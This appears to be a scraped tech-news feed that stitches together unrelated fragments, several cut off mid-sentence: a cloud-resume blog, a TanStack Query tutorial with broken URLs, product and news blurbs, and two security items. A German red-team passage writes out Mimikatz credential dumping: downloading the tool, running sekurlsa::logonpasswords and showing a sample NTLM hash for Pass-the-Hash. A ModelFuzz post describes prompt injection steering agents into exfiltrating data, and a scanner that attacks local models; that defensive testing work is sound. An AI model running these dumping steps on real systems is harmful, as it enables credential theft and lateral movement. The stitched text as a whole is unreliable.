AI 资讯

In my research on the topic of Azure and Cloud, Gemini mentioned the Cloud Resume Challenge , which I looked into and picked up a copy of the book for. This post will outline my steps as I work through it 😁. Week 00 :: AZ-900 The goal here is to work through necessary course-work so I can quiz for and obtain the Microsoft AZ-900 certification. I enrolled myself in the Microsoft Cloud Support Associate Professional Certificate offered by Coursera and, as I get closer to completing it, will keep this post up to date on my status... In lieu of just studying, I am jumping ahead to work on the project, which will be outlined below. Week 01 :: Cloud Resume (Front-End) 07/23/2026 Yesterday (and today) I worked on creating / securing my Azure account, setting up my environment for Azure development and building the front-end. The development environment is VS Code with the Azure Extensions, Azure CLI and Azure Functions Core Tools. The website is, in its current state, an exact replica of my PDF resume... made with Vue.js. I will be adding a separate page based solely around this project as I included Vue Router and already worked through layout components, a 404 page, etc.

Also, the full trailer for Zach Cregger's Resident Evil features a likable everyman.

Red Team Basics: Pass-the-Hash & Kerberoasting – So greifen echte Angreifer an „Manche nennen es ein Hack‑Werkzeug, ich nenne es ein Koffer voller Schlüssel.“ – Dieser provokante Gedanke brachte mich 2019 zum ersten Mal an die Grenze des Pass‑the‑Hash (PtH) . In den folgenden Jahren habe ich unzählige Pentests geleitet und dabei beobachtet, wie schnell ein einzelner Hash ein ganzes Netzwerk öffnet. In diesem Artikel zerlegen wir die beiden Klassiker — Pass‑the‑Hash und Kerberoasting — und zeigen, warum sie in echten Angriffen immer noch die ersten Optionen sind. Wir gehen nicht um den heißen Brei herum: konkrete Befehle, Schritt‑für‑Schritt‑Beispiele und meine persönliche Bewertung nach jedem Abschnitt . Was ist Pass‑the‑Hash? Pass‑the‑Hash ist kein neues Konzept, aber die meisten Defender‑Teams unterschätzen seine Power. Statt ein Passwort zu knacken, übernimmt der Angreifer lediglich den NTLM‑Hash , den das System bereits hat, und authentifiziert sich damit gegenüber anderen Hosts. Beispiel 1 – Mimikatz nutzen, um einen Hash zu extrahieren # Auf dem kompromittierten Windows‑Host type C: \W indows \S ystem32 \c md.exe # Mimikatz herunterladen (nur zu Demonstrationszwecken) Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile "mimikatz.zip" Expand-Archive mimikatz.zip -DestinationPath . # Im Mimikatz‑Prompt den Hash aus dem Speicher auslesen mimikatz # privilege::debug mimikatz # sekurlsa::logonpasswords Die Ausgabe liefert Zeilen wie: Authentication Id : 0x3e8 (1000) User Name : admin Domain : CORP Logon Server : \DC01 NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0 Der NTLM‑Hash 31d6cfe0… ist jetzt unser Ticket. Bewertung Ich habe das schon in unzähligen Projekten gesehen – sobald ein Administrator-Account auf einem Workstation-Host läuft, ist er ein Goldgräber. Der entscheidende Punkt ist, dass kein Brute‑Force nötig ist. Der Hash ist bereits valide, weil das System ihn selbst ausgibt. Kerberoasting verstehen

1. Introduction: What is TanStack Query? TanStack Query (formerly React Query) is a framework-agnostic state management library designed specifically to manage Server State —handling data fetching, caching, background updating, and cache invalidation. 2. Server State vs. Client State & The Memory Reality Client State: Owned and controlled entirely by the browser (e.g., isModalOpen , selected UI theme). Server State: Owned by the remote backend database (e.g., user profiles, posts, cart items). The browser only holds a read-only temporary snapshot . Where is data physically stored? Physical Location: By default, cached data lives strictly in the browser tab's JavaScript RAM (In-Memory) . Backend ("The Server"): Refers to your remote API/database (regardless of whether it runs on Kubernetes, Docker containers, serverless functions, or bare metal). Optional Persistence: You can opt to sync this RAM cache to localStorage , sessionStorage , or IndexedDB using TanStack Query Persisters. import React , { useState } from ' react ' ; import { QueryClient , QueryClientProvider , useQuery , useMutation , useQueryClient , } from ' @tanstack/react-query ' ; // 1. Initialize QueryClient (manages the RAM cache) const queryClient = new QueryClient ({ defaultOptions : { queries : { staleTime : 10000 , // Data stays fresh in RAM for 10 seconds }, }, }); // Mock API functions async function fetchPost ( postId ) { const res = await fetch ( `[https://jsonplaceholder.typicode.com/posts/$](https://jsonplaceholder.typicode.com/posts/$){postId}` ); if ( ! res . ok ) throw new Error ( ' Network error ' ); return res . json (); } async function createPost ( newPost ) { const res = await fetch ( ' [https://jsonplaceholder.typicode.com/posts](https://jsonplaceholder.typicode.com/posts) ' , { method : ' POST ' , headers : { ' Content-Type ' : ' application/json ' }, body : JSON . stringify ( newPost ), }); return res . json (); } // 2. Query Component (Fetching & Reading Data) function PostViewe

I've been building AI agents lately, and honestly, their security model terrifies me. We give LLMs access to powerful tools like shell.run , http.post , and fs.read . But if an agent reads a malicious email or a poisoned webpage, it can be tricked by prompt injection into using those tools to exfiltrate data. Hoping the LLM refuses the attack isn't a real security strategy. So, I built ModelFuzz. It's an open-source Python library that intercepts the tool call at the execution layer. The defense: @shield_tool Instead of trying to filter prompts, ModelFuzz checks the arguments before the tool runs. If it detects a policy violation, like a stolen API key or an unsafe URL, the tool simply doesn't execute. from modelfuzz import shield_tool @shield_tool def send_email ( to_address : str , subject : str , body : str ) -> None : smtp . send ( to_address , subject , body ) Even if the LLM is completely tricked by a prompt injection, the tool never fires. The offense: modelfuzz scan I also built a CLI scanner that red-teams your agent. It fires deceptive prompt injection attacks at your local model to see if it can be tricked into calling a tool. modelfuzz scan --endpoint http://localhost:11434/v1 --model qwen2.5:1.5b I tested it against a local qwen2.5:1.5b model, and it got breached 4 out of 5 times. Try it out It's 100% open source and live on PyPI. pip install "modelfuzz[scan]" GitHub: higagan/modelfuzz Website: modelfuzz.com I'd love to know what security policies you think are missing, or what agent frameworks you want supported next!

On the hunt for a PC case that’s loaded with features and has a unique look? Amazon, Best Buy, and Corsair are selling the Corsair Frame 4500X RS for $119.99, a $70 discount from the usual price. The versatile case supports motherboards up to EATX, GPUs up to 460mm in length, and has a seamless […]

In an earnings call yesterday, Tesla CEO Elon Musk did his best to paint a positive portrait of the company's robotaxi program. New cities are being added, more miles are being driven, and more people are experiencing Tesla's unsupervised vehicles. But Musk's typical bullishness seemed to be absent from the call, as the occasional trillionaire […]

The Media Router is a tool that automatically selects the best image, video, or audio generation model for a request based on whether a developer prioritizes quality, speed or cost.

As the title and description of the GitHub repo suggest, I’m working on a small project for purely educational purposes, with the goal of implementing generative model inference (small models capable of modeling 2D distributions) based on the Flow Matching paradigm in C. I’ve worked on generative AI models based on Flow Matching from a more “abstract” perspective, using frameworks like PyTorch, and I wanted to understand what goes on behind the scenes. The repository is still a work in progress

Users can also integrate their personal data from services like Apple Health, Function, and MyFitnessPal.

OpenAI is rolling out ChatGPT Health to everyone in the US on Thursday, allowing more people to connect their medical records and health-tracking information to the chatbot. During a briefing, Ashley Alexander, OpenAI's vice president of health product, says the company's models "are now capable of reasoning at levels that are better than clinician level." […]

When it comes to organ donation, time is everything. As soon as an organ has been carefully removed from a donor’s body, it starts to deteriorate. Surgeons have a matter of hours to get it into a recipient. Leave it too long and the organ will become unusable. In most cases, organs will be kept…

The case provides a novel report of the emergence of heterovirulence.

The European Commission claims that Google boosted its own apps and products to the top of search rankings to the detriment of its competitors.

Hi Hacker News, I'm Louis. I built Screenpipe ( https://screenpipe.com ), an app that records your screen and audio locally (only!), and gives AI agents a searchable memory of what you've seen, said, and heard. This makes it easier to automate your repetitive tasks, turn them into SOPs (Standard Operating Procedure) and so on. I made a HN-style demo video at https://www.tella.tv/video/build-your-ai-second-brain-with-s... and there’s a marketing video at https://www.youtube.com/watch?v=c1jV6E9pyu

The new strategy that Amazon gaming exec Jeff Gattis talked to The Verge about last month is getting clearer now that Prime Video has added a new Games tab on Fire TV devices. With Prime Gaming, Amazon Game Studios, and Luna now combined into one organization, it's aiming at the more casual audience of people […]